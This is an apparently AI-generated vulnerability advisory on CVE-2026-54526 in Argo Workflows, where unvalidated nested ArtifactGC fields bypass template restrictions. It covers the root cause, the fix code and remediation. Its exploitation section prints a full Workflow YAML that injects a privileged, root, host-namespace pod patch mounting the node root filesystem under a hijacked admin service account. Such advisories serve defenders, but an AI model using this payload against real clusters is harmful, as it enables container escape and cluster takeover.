CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54526

CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

Alon Barad
Alon Barad
Software Engineer

Aug 13, 2026·6 min read·58 visits

Executive Summary (TL;DR)

Argo Workflows fails to recursively validate the ArtifactGC structure during template override sanitization, enabling attackers to inject custom pod spec patches and service accounts to compromise worker nodes.

A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.

Vulnerability Overview

Argo Workflows orchestrates parallel jobs inside Kubernetes cluster environments. To enforce security boundaries in multi-tenant clusters, administrators use template referencing restrictions known as Strict or Secure modes. These modes prevent untrusted users from defining arbitrary container specs, forcing them to use pre-approved templates.

This vulnerability represents a critical bypass of these validation mechanisms. The underlying issue stems from how the Argo Workflows controller validates user-supplied workflow overrides. The controller allows configuration of the ArtifactGC struct, but fails to deeply inspect nested fields within this structure.

Because the sanitization parser only performs shallow reflection, fields like PodSpecPatch, ServiceAccountName, and PodMetadata are passed unmodified. An attacker with privileges to submit a workflow can leverage these unsanitized fields to inject arbitrary configurations into the garbage collection pod. This effectively re-opens the execution sinks that template referencing restrictions are designed to close.

Root Cause Analysis

The root cause of this vulnerability lies in the shallow validation model implemented within workflow/util/merge.go. The validation functions, specifically ValidateUserOverrides and SanitizeUserWorkflowSpec, inspect the user-submitted spec using a list of allowed top-level fields. The allowedUserOverrideFields map explicitly includes the key ArtifactGC to allow users to customize cleanup strategies.

However, Go reflection only validates the top-level type WorkflowLevelArtifactGC without recursively analyzing its nested elements. The nested ArtifactGC struct embeds fields such as ServiceAccountName and PodMetadata, alongside a separate PodSpecPatch string in the outer wrapper. Because the validation check completes successfully once it matches the parent key, the nested properties escape sanitization.

When the workflow completes, the controller initializes an artifact garbage-collection pod to delete intermediate outputs. During this stage, the controller retrieves the unsanitized ArtifactGC parameters from the workflow spec. It passes the unvalidated PodSpecPatch string directly to ApplyPodSpecPatch, which executes a Strategic Merge Patch against the target pod definition.

Code Analysis

The flaw originates from the structural hierarchy in the Argo codebase. The WorkflowSpec structure contains ArtifactGC which maps to WorkflowLevelArtifactGC as shown below:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"` // Sensitive nested patch
}

Because of the lack of deep inspection, the controller accepts user-supplied JSON payloads for podSpecPatch and applies them unmodified. The fix implemented in commit 277e9cef0ad16d7eaaab253573d0695951a65dbd addresses this by manually stripping sensitive fields. The remediation adds validation logic to intercept these specific sub-fields during the template verification phase.

// Fix implementation in workflow/util/merge.go
func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    ...
    // Identify nested violations within the ArtifactGC struct
    violations = append(violations, artifactGCOverrideViolations(userSpec.ArtifactGC)...)
    if len(violations) > 0 {
        sort.Strings(violations)
        return fmt.Errorf("fields %v are not permitted when using workflowTemplateRef with templateReferencing restriction", violations)
    }
    return nil
}

The corresponding sanitization routine now actively overrides these values to prevent downstream execution. The sanitizeArtifactGC helper creates a deep copy and strips the sensitive attributes, ensuring that only benign settings like deletion strategy remain active.

Exploitation Methodology

Exploitation of CVE-2026-54526 requires the attacker to have permissions to submit workflows within the target Kubernetes namespace. The attacker must first identify an existing, pre-approved WorkflowTemplate that declares at least one output artifact. The exploit works by submitting a custom Workflow that references this approved template but inserts a malicious payload inside the allowed artifactGC block.

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: template-referencing-bypass-
spec:
  workflowTemplateRef:
    name: approved-hardened-template
  artifactGC:
    strategy: OnWorkflowCompletion
    serviceAccountName: argo-admin-service-account
    podSpecPatch: |
      {
        "spec": {
          "hostNetwork": true,
          "hostPID": true,
          "containers": [
            {
              "name": "main",
              "securityContext": {
                "privileged": true,
                "runAsUser": 0
              },
              "volumeMounts": [
                {
                  "name": "host-root",
                  "mountPath": "/mnt/host"
                }
              ]
            }
          ],
          "volumes": [
            {
              "name": "host-root",
              "hostPath": {
                "path": "/"
              }
            }
          ]
        }
      }

Upon submission, the validation engine allows the payload to pass because artifactGC is on the whitelist. Once the primary workflow execution completes, the controller instantiates the garbage-collection pod and applies the strategic merge patch. This forces the pod to run in the host namespaces with root permissions, mounting the underlying node root filesystem to /mnt/host, which allows complete container escape and host takeover.

Impact Assessment

The impact of successful exploitation is complete compromise of the underlying Kubernetes worker node and potential cluster-wide privilege escalation. By executing a privileged container with host-level volume mounts, the attacker escapes the containerization boundary. This allows direct modification of system configurations, execution of host-level binaries, and credential extraction from the host filesystem.

Furthermore, the ability to specify an arbitrary serviceAccountName under artifactGC allows direct identity theft within the cluster. If high-privilege service accounts exist in the namespace, the garbage-collection pod can run under those credentials. This grants the attacker immediate administrative permissions over the Kubernetes API server without needing to escape to the host node.

The CVSS v3.1 score is evaluated at 9.9, reflecting high availability, integrity, and confidentiality impacts. Because the vulnerability requires minimal complexity and low privileges, it presents a substantial risk to multi-tenant environments. Multi-tenant clusters that rely on template referencing for isolation are particularly vulnerable to this bypass mechanism.

Remediation & Security Resilience

The primary mitigation is upgrading Argo Workflows to the patched versions. Users running the 3.7.x release branch must upgrade to v3.7.15 or later. Users on the 4.0.x branch must upgrade to v4.0.6 or later. These releases contain the deep-validation patch that successfully blocks and strips unauthorized fields during workflow parsing.

If upgrading immediately is not feasible, organizations should deploy Admission Controllers to block malicious submissions. A Kyverno cluster policy or OPA Gatekeeper constraint can inspect incoming Workflow definitions. These policies must drop any submission that contains non-empty podSpecPatch or serviceAccountName values nested under the spec.artifactGC path.

Additionally, cluster administrators should audit the permissions of service accounts active within workflow namespaces. Enforcing strict least-privilege roles prevents attackers from hijacking highly privileged administrative identities. Finally, security teams should implement runtime detection tools to monitor for unexpected privileged container creations or host namespace mounts.

Official Patches

argoprojPrimary fix commit in merge.go
argoprojCherry-picked fix commit to 4.0 branch

Fix Analysis (2)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.36%
Top 71% most exploited

Affected Systems

Argo Workflows

Affected Versions Detail

Product
Affected Versions
Fixed Version
Argo Workflows
argoproj
>= 3.7.0, < 3.7.15v3.7.15
Argo Workflows
argoproj
>= 4.0.0, < 4.0.6v4.0.6
AttributeDetail
CWE IDCWE-284
Attack VectorNetwork
CVSS v3.19.9 (Critical)
CVSS v4.08.9 (High)
Exploit MaturityProof-of-Concept / Technical Bypass
CISA KEV StatusNot Listed
Ransomware UseNo

MITRE ATT&CK Mapping

T1611Escape to Host
Privilege Escalation
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1543Creation or Modification of System Process
Persistence
CWE-284
Improper Access Control

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Vulnerability Timeline

Core fix committed to primary repository branch by Alan Clucas
2026-06-10
Official advisory published under GHSA-48p8-g2fx-3wwm and CVE-2026-54526 cataloged
2026-07-16
Remediation releases v3.7.15 and v4.0.6 shipped to the public
2026-07-16
National Vulnerability Database designates a CVSS 3.1 score of 9.9
2026-07-30

References & Sources

  • [1]Official Fix Commit
  • [2]Backported Fix Commit
  • [3]v3.7.15 Release Notes
  • [4]v4.0.6 Release Notes
  • [5]GitHub Advisory Portal (GHSA-48p8-g2fx-3wwm)
  • [6]National Vulnerability Database Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
6 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read